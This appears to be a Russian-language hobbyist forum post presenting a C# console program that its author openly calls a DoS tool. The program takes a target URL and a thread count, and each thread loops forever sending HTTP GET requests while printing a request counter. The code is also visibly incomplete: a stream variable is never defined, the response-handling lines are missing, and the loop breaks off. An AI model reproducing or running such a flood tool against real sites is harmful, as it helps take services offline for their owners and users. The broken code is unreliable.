Итак, это первая "глобальная" программа. Она предназначена для Dos-а. Метод: get-запрос.
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; // Не забываем... using System.Threading; // Не забываем...
namespace ForDos { class Program { static decimal Sent; [color = green] //Объявляем статичные переменные Sent и Url, они доступны всем членам класса Program static string url; static void Main(string[] args) { Console.WriteLine("Введите url с 'http://', например, http://google.com/"); url = Console.ReadLine(); //Присвоение значения переменной ur Console.WriteLine("Потоков "); string sThreads = Console.ReadLine(); //Объявление и присвоение значение переменной sThreads //Но нам необходимо значение типа int, так как мы создаем массив. Поэтому мы конвертируем переменную.
int nThreads = Convert.ToInt32(sThreads); Thread[] Threads = new Thread[nThreads]; // Создаем массив for (int i = 0; i < nThreads; i = i + 1) // цикл "for" { Threads[i] = new Thread(Atack); // Создание потока."Atack" - это как бы то, что делает поток, то есть "Atack" - это функция Threads[i].Start(); //Запуск потока. } // Таким образом, количество потоков равно значению, введённому пользователем.А когда все потоки будут созданы и запущены, // будет произведен выход из цикла
} static void Atack() {
//Все это - get-запрос, я, если честно, я просто слизал это с сайта, потому что еще не дошёл до этой темы. System.Net.WebRequest reqGET = System.Net.WebRequest.Create(@url);
System.IO.StreamReader sr = new System.IO.StreamReader(stream);
do //Зациклено, то есть выполняется бесконечное количество раз, пока программа не будет остановлена (закрыта пользователем) {
sr.ReadToEnd(); //А это сам запрос.
Sent = Sent + 1; //В этом нет надобности, но чтобы пользователь видел "мощь") программы, мы выводим ему на экран количество сделанных запросов Console.WriteLine("Сделано запросов: " + Sent); //Вывод сообщения на экран о том, сколько запросов сделано.